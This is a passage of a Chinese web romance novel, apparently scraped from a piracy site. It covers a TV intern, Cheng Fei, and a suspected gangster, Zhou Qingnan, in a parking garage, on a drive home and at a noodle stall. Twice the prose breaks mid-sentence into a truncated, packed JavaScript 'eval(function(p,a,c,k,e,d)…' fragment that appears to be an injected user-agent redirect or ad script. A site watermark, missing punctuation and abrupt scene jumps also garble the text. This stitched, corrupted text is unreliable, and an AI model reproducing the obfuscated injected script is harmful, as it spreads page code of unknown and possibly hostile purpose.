她戴着耳机,半坐半躺地蜷窝在沙发里看手机,黑色长卷发在脑后扎起一个低马尾。整个人的状态矛盾,姿态分明懒绵得像一团云,神情却有几分紧绷。 只因她实在太过专注,眼睛几乎都要钻进亮起的手机屏,甚至于丝毫没有注意到周围环境中出现的变化。 周清南迈开长腿走了过去。 近到人跟前,她还是没发现他的 存在照旧自顾自看手机。 周清南眼帘低垂视线流转在那张精小无暇的脸上不动声色地观察。 很快便敏锐地注意到她眸含雾色唇微张呼吸明显较正常状态稍急白皙的双颊也隐隐浮着一层玫瑰色的红晕。 和她往日给人的观感不同。 风情灼灼媚态横生。 周清南低眸看着沙发上的人藏匿在阴影处的喉结极细微地滚动了下不经意间一个侧目便看见了她亮着光的屏幕。 满屏都是文字字体不大不小刚好够他的距离看清。 就在这时程菲耳机里的前一首音乐刚好播完切换至下一首的空档时段里她指尖一滑顺手翻页像察觉到什么 ……? 什么情况??? 是错觉吗。 她周围的空气里怎么多出了一丝清冽又冷淡的烟草味混合某种类似白桃类果汁糖的果香气味儿居然莫名的熟悉。 琢磨着程菲狐疑地转了下头转完瞬间被天空一道惊雷击中轰隆隆原地石化。 只见沙发旁半步远的位置站着一个人深蓝衬衫黑西裤宽肩窄腰大长腿双手随意插裤兜两侧衬衣袖子挽起至肘部露出的手臂精瘦修劲人如画卷。 不是周姓大佬本尊是谁。 周清南就那样垂着眸懒洋洋地瞧她神色如常表情冷静不知已经站了多久。 程菲:“……” 真是会谢。 你什么物种啊走路怎么连点声音都没有猫变的吗! “周先生?你什么时候来的?”因为震惊程菲开口说话的声音几乎跑调同时“哒”的声慌忙熄灭手机屏一副做了什么坏事生怕被人发现的心虚样“怎么也不跟我说一声。” 周清南瞟了眼她变黑的屏幕轻轻一挑眉:“看你比较投入没好意思打扰。” 程菲:……你还真是一朵善解人意美丽可爱的解语花。 程菲一时间大脑当机思维卡壳不知道该做出什么反应干杵在沙发上没出声。 周清南略微动了动下巴随口又问:“看小说呢。” “咳。就随便找的一本网络小说没什么营养打发时间看看。” 刚看完小说男女主酣畅淋漓的千字大战,程菲脸蛋还红扑扑的,喉咙发干,说话的声音也稍微有点儿哑,毫不掩饰地敷衍,“跟你说了书名你也不会感兴趣,就不用告诉你了。 周清南视线扫过姑娘绯红的脸颊和雾气氤氲的眸,没说话,眼底的神色却逐渐浮起兴味儿。 这头。 程菲不知道这人什么时候来的,也不知道这人有没有看见她手机里的文字内容,只觉得心虚又慌张,压根都不敢直视他的眼睛。 她双颊滚烫,只能清清嗓子从沙发上站起身,飞快便把话题岔了开,强自镇定道:“对了,送你的那些东西,都在那边。 说着,她抬起一只纤细胳膊,指了指。 周清南侧目,顺着她手指方向,一眼就看见不远处摆着的几个大纸箱。 他踏着步子走过去,低眸打量两眼,“你买的什么? “都是吃的。程菲边说边把手机揣进小挎包,也走过去,指着那些箱子跟他逐一介绍,“这是宝宝零食大礼包,有小饼干、鳕鱼肠、小黄人棒棒糖、营养虾片什么的,是我专程做过功课以后才下单的,给小蝶吃。这些都是国内外的一线大品牌,配料表很干净,小朋友可以放心吃,据说这一箱就是一年的量,你之后就不用再买了。 “这里面装的是羊肚菌,你拿回去烧汤或者红烧都可以,滋补得很,强身健体,大人小孩儿都能吃。 “喏,这一箱是车厘子。 这一箱可就花了小两千块,这么贵的水果,我自己平时都舍不得买来吃呢! 程菲在心里酸溜溜地补充哀嚎。 一旁,周清南听姑娘说着,静默片刻后,也屈起一只长腿很随性地半蹲下来,浅色的桃花眼笔直盯着她,道:“你自己也说我们非亲非故又不熟,干嘛这么破费。 “……非亲非故你还不是帮我好几次。 程菲小声嘟囔着回他。被他直勾勾的注视看得有点慌,低下脑袋,发现箱子边沿有一块小纸皮上翘,随手撕扯下来,捏在手里玩儿, 又轻声说,“要是没有你,那天在汽修厂,我估计都没命活着走出来。 周清南听后很轻地勾了勾嘴角:“不至于。那几个瘪三没那胆子杀人。 他说这话时声调懒漫,透着种难以言喻的松散意味,程菲听了却有点毛骨悚然。 她忍不住抬眼,看向他。 咫尺之遥,男人英俊的脸庞表情平淡,使人联想到雨后沐浴过阳光的乔木。 程菲莫名其妙就蹦出句话:“那你呢? 周清南直视着她,唇畔散漫地弯起一道弧:“我什么。 程菲也不知哪里来的勇气和好奇心,脱口而出:“你说那几个混混没胆子杀人,那你有吗? 话说完,空旷偌大的大厅有瞬间死静,静到连一根针落在地上都清晰可闻。 其实,这句话问出口的下一秒,程菲就已经后悔得肠子都开始发青。 她暗道一声糟糕,意识到自己嘴巴太快,又一次问了不该问的话——过去几回接触,和他相处的时候她始终很谨慎,战战兢兢小心翼翼,生怕说错半个字。 今天怕是她加班加得脑子抽风了。 大厅的空气有刹那凝滞,气氛玄妙。 程菲惴惴,心想完了完了完了,这位大佬肯定要发飙了。即使不拎着她的领子给她暴揍一顿,只怕也要冷着脸摆出姿态,阴阳怪气地嘲讽她一番。 但,周清南的反应却再次出乎程菲意料。 片刻功夫,这位随便动动手指就能让整个滨港变回天的爷,竟然只是垂了眸,移开落在她身上的视线,两手托住纸箱往上抬,动作干净利落,转眼便将散放的几个纸箱摞在一起。 没回程菲一句话,像是压根没听见刚才她说了什么。 程菲:“…… 没听见?还是并不想搭理她啊…… 程菲眨了眨眼睛,虽不解却也没胆子多问,只能乖乖蹲在边上看他拾掇。 她废了九牛二虎之力都无法撼动的几个大箱子,到男人手上似乎成了几团轻飘飘的棉花。他十指收握,只是托住最底部的箱子边沿,轻轻松松便将所有纸箱一齐搬起,直起了身。 程菲看得眼睛都瞪圆了,赶紧也跟着站起身,伸出双手想要替他分担:“你一个人怎么拿得了这么多,我帮你抱 车厘子。” “不用。”周清南拒绝 程菲蹙眉小声吐槽似的嘀咕:“不沉才怪。我刚才也搬了半天抱都抱不起来。” 周清南看她一眼说:“你搬不动不是因为东西本身沉只是因为你手小抓不到借力点。” ……哦有点道理的样子你是老大你说什么就是什么呗。 程菲没辙只好默默将两条胳膊垂下去接着就又陷入了一番思考。 现在所有东西已经交到这位大佬手上她的送礼任务至此便被圆满完成。 所以接下来应该干什么?她是不是可以撤了?还是说她应该出于礼貌顺路把这位大佬送上车什么的? 程菲轻轻咬了咬唇瓣正纠结着自己下一步应该干什么时她身旁那位怀抱着一摞大纸箱的社会大佬冷不丁又出声了。 周清南:“B1A区0428。” 程菲茫茫然地抬眸“嗯?” “我停车的车位号。”周清南说话的同时转过身迈开一双大长腿径直就朝电梯方向走去“你走前面待会儿帮我开一下后备箱。” 程菲哦一声背着小挎包三步并作两步走地追上他。见大佬同志抱着那么多东西腾不出手便主动伸出一根细细的食指摁亮了电梯下行键。 几秒后叮一声电梯到了。 程菲自觉站旁边等周清南进去之后才跟进去顺手把“B1”点亮。 滨港电视台的这个新演播大厦是新修的车库平时也会对外开放因此一层大厅和两个车库层都没设门禁不需要刷员工卡。 新建大楼当然什么都新。电梯厢体内部的墙体也十分干净通体看不到丁点污渍和灰尘四面都能当镜子用。 程菲靠墙站在电梯里不说话也没其他动作眼珠子转两圈不由自主就看向了前面那扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们单位这个车库设计不合理又大又绕很容易迷路我那几个开车上下班的同事天天都吐槽。” 程菲帮周清南摁了下后备箱的开关经过他身边时顿了下小声补了句夸赞“你倒是把路记得挺熟。” 周清南没搭腔弯腰将几个箱子放进后备箱。 程菲看着男人那副棱角分明的侧颜没按捺住蠢蠢欲动的好奇心又道:“你应该也念过不少书吧?” 周清南回答:“念过一点儿。” “大学?高中?”程菲语气里带着试探问完又怕这位大佬学历不高回答这种问题会被伤害自尊心于是又急忙补充“我就随便问一下你如果不想说就算了无所谓的。” 话音落地轻轻一声砰周清南关上了后备箱门。 他转过脸来瞧她眼神里带着点儿难 以言说的趣味和探究。 程菲只好强撑着跟他对视。 大概是周围光线太暗的原因男人整个人也被环境衬得愈发暗沉。 须臾程菲看见周清南修长的身躯很随意地往车门一靠被抽了骨头似的微垂头拿打火机点了根烟。抽一口再度撩起眼皮看她。 “你对我的事很好奇?”周清南问。 “……不好奇。”程菲当然没胆子承认硬着头皮摆摆手。 “那你跟这儿瞎打听。” “都说了是随便问一下。”程菲切了声不满地嘟囔“你之前不也随口问我有没有男朋友。难道就你能打听我我不能打听你?” 周清南被这姑娘委屈又愤懑的小表情惹得想发笑 “我高中没毕业。”周清南说。 程菲怔住。 “你刚才不是问我读过多少书。”周清南别过脸往远离她的方向呼出了一口白雾神情平静“我高二就出来混没参加高考也没机会念大学。” 听完这些程菲不禁微微蹙眉说“如果你参加了高考考上了大学说不定就不会是现在这样。都已经读到高二了怎么不再坚持一下?” 周清南:“家里太穷想早点出来赚钱养家。” 这个理由令程菲心里更加不是滋味儿迟疑地问:“你父母没有能力支持你上学吗?” 周清南说:“我爸妈很早就死了我对他们没多少印象。” 程菲心里一沉对这个答案感到颇为意外。她之前其实已经猜到这个男人的原生家庭或许不幸只是她没有想到他会这么可怜…… 小小年纪父母早亡高二就出来打童工赚钱。一个十几岁的少年说到底都还是一个小孩子思想三观都还没有成熟怎么可能抵抗得了那些灰暗的诱惑?也难怪会失足跌落深渊了。 心头像凭空砸下来一颗巨石压得人喘不上气。 程菲心酸又惋惜好一会儿才轻声诚恳地道:“对不起我不是有意提起你的伤心事。” 谁知话音刚落回应她的竟是对面的一声嗤笑。 程菲呆住。 周清南斜倚着车门指尖夹烟低着头闷闷笑出声来。他足足笑了半分 钟才停下,抬眸瞧她,浅色眼瞳里写满玩味和揶揄。 他耐人寻味地说:“这就开始心疼了?” 程菲后知后觉意识到不对劲,细眉拧起一个结,奇怪地看着他。 “如果我再添油加醋多编一些。”说话同时,周清南慢条斯理直起身,踏着步子往她走近些许,眸微垂,直勾勾地盯着她,“是不是勾勾手,你就准备跟我走了?” 程菲身子微僵,眉头越皱越紧:“多编一些?什么意思?” “意思就是。”周清南平心静气地说,“刚才那些悲情故事凄惨身世,都是我瞎掰来骗你的。” ”……“ 好家伙,小丑竟是她自己。 只能说大佬就是大佬,无论何时何地永远一副面不改色心不跳的从容样,不过……你个龟孙拿这种事情开玩笑骗人,也太欠扁了吧! 她好气又好笑,实在没忍住熊熊燃烧的郁闷之火,质问他:“你为什么用这种事骗我?” “我只是想让你认清一个现实。” “什么现实?” 周清南回答:“你不需要惋惜什么,也别试图去挽救什么,更不要被一个人刻意展露的表象所蒙骗。” 程菲错愕,微微睁大了眼。 “这位小姑娘,收起你泛滥又毫无意义的同情心。”周清南弯腰,贴近她耳畔,唇齿玩味碾磨,低声一字一顿地说,“真正的坏人,比你想象中,要坏很多。” 作者有话要说 下章继续对手戏!!! 祝大家七夕快乐! —— 随机100个红包包!明天开始每天的更新恢复早上080808 第 19 章 暖床的工具。 他音量不大,说话的语气也很平缓,并没有任何咄咄逼人的意味。但不知为什么,程菲却像被吓到,心跳错乱的瞬间,下意识往后退一步。 边儿上正好有一个低矮的车位栏杆。 不知道最近老天爷是不是尤其爱跟程菲看玩笑,她这一退,好巧不巧,竟然刚好被那根栏杆给绊住了脚后跟。 电光火石之间,她踉跄两步重心不稳,整个人低呼一声便往后栽倒。 ……?! 要死要死要死! 程菲在心里绝望地哀嚎。 人在危机中往往会爆发求生本能。栽倒后仰的同时,她又慌又怕,两只手下意识在半空乱挥,试图抓住什么东西来阻断跌势。 身子后仰的弧度像一簇被夜风压弯的火苗。 对面的周清南见状,眼底急速掠过一丝惊色,怕她摔,几乎是第一时间便上前半步伸出手,长臂一环,从她纤细的腰背位置绕过,一把将她托住。 这一托,令程菲原本的下跌势头戛然中断,惯性作用下的身体反方向一搡,跌行几步。 等她惊魂未定地回过神时,整个人已经在周清南怀中。 男人刚抽完一支烟,身上还沾染着丝丝烟草味,混着他身上独特的荷尔蒙气息,清冽冷感,纠缠交织,无形之中涌成一股铺天盖地的潮浪,眨眼便席卷程菲的感官。 这种感觉着实难以形容。 像酷暑时节刚下过一场大雨,你人在雨里,身体湿润黏腻,唇舌心脏却燥得发慌。 “……”心跳的速度无端更快,程菲还未能从错愕中回过神,下意识抬了抬眼帘。 正好对上头顶那双深邃漂亮的眸。 周清南也在看她。 他目光微沉,眉心细微蹙起一个结,往日里冷淡到毫无破绽的神色像是裂开的冰面,泄露出一丝情绪。 那种情绪十分怪异。说不清看不透,不像是单纯的紧张或者担忧,令人觉得复杂难辨。 不过,这种不甚明显的情绪暴露仅持续了刹那。 下一秒,周清南眉宇间的神情便都消失,回归到他平日里事事没所谓处处不关心的凉薄样。 “站稳没有?”他耷拉着眼皮瞧她,问。 听见这个问句,程菲也在一霎间回过神。 她胸口噗通乱跳个不停,不敢再和他对望,惶然低头错开视线,闷声应了一个字:“嗯。” 回答完,便感觉到环在自己腰上的手臂松了开。 禁锢感消失,程菲顿觉如蒙大赦,条件反射般后退半步,将自己和对方拉开到一个相对安全的距离。 僵着身子呆立一秒,程菲暗自做了个深呼吸,竭力平复慌乱失序的心跳,低声嗫嚅着说:“刚才……谢谢。” “走路的时候稍微看着点儿。”周清南的视线也从她身上移开,回话的语气散漫里带点调侃味道,边说话,边弯腰将刚才掉在地上的烟随手捡起,“多大个人了。车库里车来车往,注意安全。” 程菲看见周清南捡烟,也没多想什么,只是顺手给他指了指左前方,好心提醒:“那边有垃圾桶。” 周清南便捏着烟头走过去。 程菲站在原地等,脑子里反复回响男人刚才那句话,忽然咬咬唇瓣,冷不丁蹦出句:“我平时走路不会摔跤。” 周清南刚丢完烟,听见背后那道轻软的嗓音,稍顿,回过头来看她,微微挑了挑眉。 程菲暗自吐出一口气,抬眸直视他:“我刚才差点摔倒,是因为你。” 周清南听得眉峰又挑高一分,有点儿好笑似的,踏着步子往她走近,流里流气的,“怎么就因为我了。” 程菲:“……” 回回跟你相处我都不正常,一会儿莫名其妙心慌意乱,心脏乱蹦个不停,一会儿遗憾神伤,觉得你大帅比一个,心眼儿也不坏,混这行着实是相当可惜。一来二去把自己搞得跟神经病一样。 还说你不是罪魁祸首? 狗都嫌的黒社会! 程菲觉得自己平时也算脾气挺好一人,但这会儿也不知道怎么回事,就是莫名其妙的烦。烦天烦地烦人生,活像突然得了狂躁症。 找不到导致自己烦躁的原因,只好把所有问题都归到周清南身上。 不过,程菲烦躁归烦躁,最基本的智商还是在线,这些话她只是在心里恶龙咆哮无能狂怒,并没有胆量真的说给这位大佬听。 毕竟这可是她的救命恩人,得知她脑残填错收货地址,人家非但没笑话她,还专程千里迢迢赶过来亲自搬礼物,个人素质实在没得说。 在心里槽 几句也就得了现实里她还是决定对这位大佬客气点。 因此沉默几秒后程菲飞快调整好了自己的个人情绪接着便朝周清南露出了一个温柔并且礼貌的微笑。 程菲认真地说:“因为周先生长得太好看了。” 周清南:? 又看见她一脸诚恳格外真挚地补充:“美色乱我心神。” 周清南:“……” 这姑娘是很娇媚明艳的长相声线却相当反差清脆里头自带一丝甜听着来软软的。这会儿也不知道她又在抽什么风不仅对他甜美假笑还刻意拖腔带调娇柔作造地说话。 那声口就更甜了。 简直让人有点儿招架不住。 最近滨港的气温已经正常很多这一周的平均气温没超过二十五度加上这里是地下车库里气温比地面更低。 可周清南却无端感觉到一股燥热喉咙也像被什么勒住涩涩的发紧。 他抬手扯了下衬衣衣领。 对面程菲倒是没发觉周清南的什么异常。 她还沉浸在自己毫无痕迹的表演里继续笑着说:“周先生刚才劝我收起自己泛滥的同情心我也不妨直接跟你说实话我对你的目前的职业处境确实有点担忧。” 周清南站在原地没什么表情地看着程菲 说更新,记住域名qiexs.com⑵(请来企鹅小 说 看最新章节 完整章节)平静地说:“愿闻其详。” 程菲:“我国严厉扫黑是绝不允许黒社会存在的。” 周清南语气自若:“谁告诉你我是黒社会。” 程菲被呛了下心想这还用谁告诉我吗我没长眼睛不会看、没长脑子不会想吗! “我一个生意人每年都认真缴税为国家发展做贡献提供几百几千个岗位为社会解决就业问题。”周清南嘴角懒漫地勾了勾轻声“程小姐可不要乱说话。” 程菲:“……” 程菲无语装不下去了脸上做作的笑容眨眼消失叹了口气只是道:“好吧。你究竟是干什么的说到底和我半点关系都没有。我也一点都不在意。” 周清南点头:“嗯。” “我只是想告诉你我对你的所有惋惜、包括之前劝你从良都仅仅只是因为你帮过我。”程菲语气平和“加上我是个导演天生对高颜值人群有惜才心理除 此之外,没有其他任何特殊原因。 大佬接着点头:“啊。 程菲:“其实并不需要你特意来提醒我什么。 大佬还是冲她点头,没有任何多余的反应:“哦。 程菲:“…… 你跟这儿语气词接龙呢? 程菲对这只迷途羔羊的反应并不满意,但这些话说出口,她心里多多少少还是舒坦了点儿,不再那么堵得慌。 “你也不用故意说什么勾勾手我就跟你走这种话来吓我。她顿了下,重新抬头看向对面。 只见男人还是懒散靠着越野车的车门,姿态随意,手里把玩一枚金属打火机,正垂着眸,安安静静地瞧她。 四目交错,程菲心尖莫名一颤——也不知是不是错觉,这人好像很喜欢看她。 十次里她看向他,有八次都能和他视线相撞。 ……算了。 看就看吧。 车库里黑灯瞎火的,他除了看她好像也没其他东西能看。 程菲暗自呼出一口气,才又续道:“我不会有什么不该有的想法。 话音落地,周清南眸色微凝,把玩打火机的动作也突地顿住。 车库里的空气静了静。 不多时,程菲清了清嗓子,仍旧有点紧张的缘故,她双手下意识握住身前的挎包肩带,道:“现在时间也不早了,周先生你慢慢忙,我就先回家了。再见。 说完,程菲也不等周清南那头说话,自顾自便转过身,准备乘电梯回一楼大厅。 然而脚下步子还没跨出两步,背后的男人倏然出声,叫住了她。 “程小姐。 “?程菲眸光微动,狐疑地回过头,看向身后。 “我正好要去平谷区办点事情。周清南随手将副驾驶席的车门拉开,侧目直勾勾地看她,道,“顺路,可以捎你一程。 两分钟后,黑色越野从滨港电视台演播大厦的地下车库内驶出。 因是外来车辆,停车需要收取费用,在出口的升降杆前,周清南随手拿出手机打开摄像头,正要扫描收款二维码,边儿上却传来一个嗓音,忙颠颠地打断他,道:“停车费我已经付过了。 周清南顿了下,侧眸看右方。 姑娘坐在副驾驶席上,朝他挥挥手里的手机,白净漂亮的脸蛋上浮着抹不太自在的笑容,伸出一根食指往前戳空气,说:“就当抵扣你一部分的车费。” 周清南也没多言,径自将手机收起,方向盘一打,直接将车开出,驶上了大路。 夜色融融。大城市繁星罕见,滨安新区一带地处郊外,天上倒是极难得地能看见几颗排列稀疏的星。 程菲看着窗外的夜色欣赏起来。继而余光一扫,瞟见旁边方向盘上的那双手。 骨节分明,手臂修劲,一块精致的男士机械表佩戴在腕骨上,表带是深棕色的鳄鱼皮质,纹饰精美简约。各处细节,甚至连腕骨上轻微凸起的蜿蜒经络,都搭配得浑然天成。 程菲怔了怔,脑海中无端便回想起刚才那个险些跌倒的瞬间。 男人的手臂环过她的腰身,稳稳的,格外有力。毫不费劲地揽住她,轻轻一个反勾,她便趔趄着跌撞进他胸怀…… 心跳抢跳一拍,手掌心也瞬间沁出一层细密薄汗,湿湿的,热热的。 “……”程菲闭上眼吐出一口气,拍拍脸,把脑子里那些乱七八糟的画面和念头全都拍飞。 虽是周六,但滨安和平谷的距离摆在那儿,正常路况行驶过去也要将近半个钟头。三十来分钟的时间,说长不长,说短也不短,一直这么僵坐着默不作声,氛围着实尴尬。 随便瞎聊几句缓和气氛吧。 程菲心里思索着,随即便悄悄转头,看向驾驶席上正在开车的男人,开口打破沉默。 “你朋友昨晚又熬夜看书呀?”她冷不防问了句,尽量让自己的语气听起来自然。 话音落地,周清南侧目瞧她一眼,眼神里带着点儿疑惑,“陆岩?” 程菲点点头,面上挤出一个笑,算是解释自己的上一句话:“上次你自己开车,就说是因为他熬夜看小说,你专程给他放了个假补觉来着。” 周清南视线收回去,随口道:“今天不是这个原因。” 程菲眨了眨眼睛,脱口而出:“那你为什么没叫你朋友一起?”既然是来搬东西,多一个人不是多一份力量吗。 周清南神色平静地说:“我叫了,他不想来。” 程菲狐疑:“为什么?” 周清南的眉眼仍 旧静得波澜不兴,回答:“说是不想当电灯泡。” 程菲:“……” 程菲额头滑下一颗豆大的冷汗,心想现在的言情小说真是可怕啊,不仅荼毒年轻不懂事的花季少女,居然连凶悍生猛的古惑仔群体都深受其害! 很想知道刀疤哥是以哪种心态说出‘电灯泡’这个词的?她和周清南看起来像是那种不清不楚的关系吗? 程菲忍不住小声吐槽:“你朋友未免想太多,什么都嗑只会害了他。” 周清南闻言,侧眸瞥她一眼,“这恐怕怪不了陆岩。” “嗯?”而且你这是什么眼神?不怪你家小老弟想太多乱磕CP,难道怪我? 程菲一头雾水地皱眉。 周清南:“几天之前,有人在锦泰饭店破门直入,说要跟我相亲。” “……” “这件事,至今让陆岩和我本人记忆犹新。”周清南轻轻挑了下眉峰,“程小姐觉得该怪谁。” 好的。确实怪我。 听完这番前情回顾,程菲囧了,自知理亏,只能乖乖闭上嘴巴。 之后,程菲又跟周清南扯了点儿别的,主打一个毫无重点没话找话。一路盼星星盼月亮地熬啊熬,晚上九点整,黑色越野车终于抵达她家的小区大门口。 又蹭了好心人一次车,程菲心里还是很感激的。 临下车前,她随手解开安全带,向身边的好心人双手合十,诚恳道:“谢谢周先生。” 周清南脸色淡淡地看了她几秒,下巴微抬,“回吧。” “好嘞。”姑娘应着,推开车门,刚迈下去一只脚又忽然顿住。想起什么般,她回转脑袋再次看向他,严肃叮嘱,“那个车厘子,你回去之后一定要记得马上拿出来吃。” 周清南:“好。” 她接着又说:“拿清水洗完,再加点盐泡一泡。没吃完的记得放进冰箱冷藏。” 周清南听她小唐僧似的念叨个不停,不禁很淡地牵了牵唇,“好。” “哦还有,你记得每次吃多少洗多少。”程菲操心这操心那,生怕这位大佬会一不小心糟蹋掉她买的天价果子,“水果沾了水就放不住,很容易坏。” 周清南深邃的浅瞳定定注视着她,默然听着。等她说完后静两秒,才问:“ 还有别的么?” 程菲仔细想了一下摇摇头。 “好。”周清南颔首“你说的我都记住了。” “记住了就行。”程菲说着便朝周清南抬手挥两下推门下车。 站定之后像是想起什么又回过头有点迟疑地小声问:“今天以后我们应该是真的不会再见面了吧?” 周清南瞧着她脸色平静地道:“这句话你说过很多次了。” 程菲:“。” 果然fl ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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已经上了年纪的一张脸,眼尾额头都有岁月肆虐的痕迹,可再多的皱纹,再廉价的衣着,均遮掩不住对方硬朗英俊的五官底子,和那身沉默而凌厉的气场。 这人的突然出现,明显让顾姨颇有几分惊讶。 一口烟吸太猛,直接呛进气管,顾姨微微睁大眼睛,下一秒便别过头咳嗽起来:“咳咳咳…… “少抽点儿。他随手把她嘴里的烟抽出来,扔地上拿脚碾烂,凉凉道,“现在肺癌患病率那么高,注意一点。 “去你妈的。顾静媛瞪他,眼神里喜色弥漫,嘴上骂起人来却一点不客气,“敢咒老娘得癌症?放心,你死了我都死不了。 阿鬼嘴角细微勾了勾,不逗她了,弯下腰,大马金刀往小板凳上一坐,说:“饿了,麻烦老板娘来碗面。 顾静媛白阿鬼一眼,嘴上骂骂咧咧问候他全家,人却已经走到炉灶前,熟练地打鸡蛋下面条。 快餐就是快。 几分钟功夫,顾静媛便将一份热腾腾的面条端上来,往阿鬼面前一放,没好气道:“下了三斤老鼠药,敢吃就吃。 阿鬼脸上笑意懒散,从筷筒里抽出筷子翻拌面条,嫌烫吹两口,挑起一筷子就塞进嘴里。 顾静媛弯腰坐在他对面,看他一连吃了几大口,终于又开口:“你什么时候回的滨港? 阿鬼闻言,看她一眼,“回?你几时把滨港当老家。 “反正也待了这么多年,估计今后进了棺材,埋都是埋在这里。顾静媛无所谓地耸肩,“那就把自己也当成滨港人咯。 阿鬼又吃了一筷子面,咽下,神色自如地回答她:“刚回,放下行李就紧赶慢赶过来见你。有没有觉得 有点开心?” “陈家槐你要死啊?一把年纪了到处乱放屁,还以为自己是钵兰街太保?”顾静媛气得半死,骂他都嫌浪费口水,停顿好几秒才冷哼,“而且你真的是来见我?我信你才有鬼。” 阿鬼顿了下,挑眉,“一把年纪火气还那么大,是不是更年期?” 顾静媛眯眼,直接抄起旁边的板凳就要往阿鬼脸上招呼。 阿鬼轻笑着往旁边躲,顾静媛上前拽他,一不小心便将阿鬼的衬衣扣子拽落几颗,衬衣垮下大半,中年人打底的白背心和肌理紧实壮硕的肩背露出来。 一条过肩龙刺青瞬间暴露在空气中,张牙舞爪,狰狞可怖。 摊位上吃面的顾客本来还在津津有味看热闹,无意瞧见中年人肩臂上的纹身,都是微微一惊,赶紧低下脑袋认真吃面。 “公众场合干什么呢。”阿鬼挥开顾静媛的手,慢条斯理把衬衣穿好,“有伤风化。” 顾静媛骂他:“你才是为老不尊!” 两人正拌着嘴,一道清脆的嗓音却忽然从旁边传来,惊喜地喊道:“槐叔?!” 顾静媛和阿鬼同时顿住,不约而同转过头,只见夜色下一道纤细身影正朝他们小跑而来。 “哟,这碗面还真吃对了。”阿鬼笑容满面,一改先前的流气痞态,眼睛里满满慈父般的光辉,“小丫头最近在哪儿发财?” “顾姨还没跟你说吗。”程菲笑盈盈,“我进电视台实习了,今天加了个班,刚回来。” “加班啊。”顾静媛在旁边缓慢接话,别有深意道,“我还以为你约会去了。” 程菲诧异:“顾姨你说什么?” “不是吗?”顾静媛往她凑近几分,眯起眼,意味深长地问,“那刚才那个送你回来的帅哥是谁?” 顾静媛话说完,还没等程菲反应过来,一旁的陈家槐就先很配合地哦了一声,作恍然大悟状,平静颔首:“地下恋。” 程菲:“不……” 阿鬼:“不想让我们这些老东西知道。” 程菲:“真的不……” 阿鬼一副“叔过来人叔懂得很”的表情,笃悠悠道:“放心,这事儿天知地知你知我知你顾姨知,我们一定守口如瓶。”说到这里,一个眼色抛过来,桀骜又懒散,强调道,“不会告诉你妈。” 程菲眼见顾姨和槐叔双双误会,急得脸都憋红了,跺脚否认:“不是!你们不要听风就是雨行不行?刚才那个送我回来的帅哥,他是,他……” 说到这里,她莫名有点心慌,双颊温度更高,好半天想不到怎么解释自己和周清南的关系,只能无力道:“他反正不重要。” 顾静媛瞧着小姑娘绯红的脸蛋和闪烁飘忽的眼神,扬扬眉,瞬间了然:“懂了。” “?” “也没错。”顾静媛抬手拍了下程菲的肩,对她的观点表示认可,轻飘飘道,“男人嘛,本来就是女人用来暖床的工具,脸帅活好就行,其他的确实不重要。” 程菲:“……”6 作者有话要说 大佬:感谢顾姨认证。脸帅不帅是其次,本人活是真的好。 菲菲仔:……== —— 随机100个红包包~ 第 20 章 没穿衣服。 听完顾姨的这番高见,程菲差点没控制好自己的面部表情。 静默几秒,最终只能默默朝顾姨竖起一个大拇指,用眼神深沉赞叹:顾姨不愧是她爹妈口中曾经名震一方的大姐大,这思想境界,值得全世界的恋爱脑来深度学习。 顾静媛这头倒是没注意到小姑娘敬佩崇拜的眼神。事实上,她打年轻时候起就离经叛道惯了,随心所欲,想说什么说什么,想干什么干什么,也根本就没在意过旁人的眼光。 发表完“男人就是女人用来暖床的工具”这一经典理论后,顾静媛便径自扑了扑手,走回了餐食小推车的炉灶前,眼也不抬地懒懒问:“还是餐蛋面?” 这话自然是问的程菲。 程菲闻声,当即朝顾姨露出个甜甜的笑容,撒娇道:“我姨最懂我了。” “别以为贫几句嘴就能吃免费的霸王餐。”顾姨白她一眼,眉眼间却流露出几分难得的母性光辉,“坐下等着。” “好嘞!”程菲笑容满面地应,接着便弯下腰,坐在了陈家槐旁边的小板凳上。 阿鬼继续埋头吃面,一口接一口,神色淡淡。 程菲在旁边托着腮看她槐叔,忽然感叹似的啧啧两声。 阿鬼动作稍顿,侧目瞥那小丫头一眼,说:“瞅啥呢。” “槐叔,现在自媒体行业这么发达,你应该去干主播。”程菲言辞恳切,一副格外认真的状貌,“信不信,就你这玉树临风的长相,这桀骜不驯的气质,这保养得跟国际男模一样的身材,你绝对红透半边天,成为互联网世界新一代的大妈杀手。” 陈家槐被她逗得笑出来,说:“你这张嘴啊,不去说相声简直可惜了,铁树都能让你吹开花。” “谁吹了?”程菲一本正经,“槐叔你可是我心目中叔圈天花板级别的存在,我每个字都发自肺腑,真诚得不能再真诚!” “行行行,你说什么都对。”陈家槐满眼老父亲的宠溺,上下打量眼前的小姑娘,“我有时候还真纳闷儿,你这个性到底是随谁,你妈年轻的时候又文静又漂亮,知书达理温文尔雅,你爹虽然毫无亮点,但好歹也是在厂里干过小领导的人物,怎么就能生出你这么个满嘴跑火车的闺女。” 程菲眯起眼:“陈家槐同志,坐在你面前的可是程国礼 同志的亲闺女,请你解释一下什么叫我爸毫无亮点?有你这样拉踩朋友的吗?” “切,这还用问吗。” 人还未到,声音先传来。顾静媛端着一碗餐蛋面走过来,往程菲跟前的桌子上一放,没好气道,“当年他暗恋你妈,还约过你爸在城南老巷口干架来着,这事儿你爹妈没跟你聊过?” 程菲大吃一惊,眼珠子瞪得溜圆,不可置信地望着槐叔,“槐叔,你跟我爸还打过架?” 顾静媛和陈家槐都是土生土长的香港人,青梅竹马。97香港回归之后,顾陈两人便一同来到滨港市发展,准备在内地大展拳脚闯出一番事业。 当时顾静媛本来有个远房表叔在滨港,可当顾静媛和陈家槐来到滨港后,几经辗转,才知道表叔早已经因病去世,表叔婶也重新组建了家庭。两人举目无亲,人生地不熟,只好先在平谷区的桐树巷租了两个小平房,落脚谋生。 平谷区是滨港市经济最为落后的一个行政区,桐树巷更是全滨港远近闻名的贫民窟,是在菜市场里硬生抠出来的一片住宅区,连成排的矮平房,公用厕所公用厨房,居住条件极为恶劣。 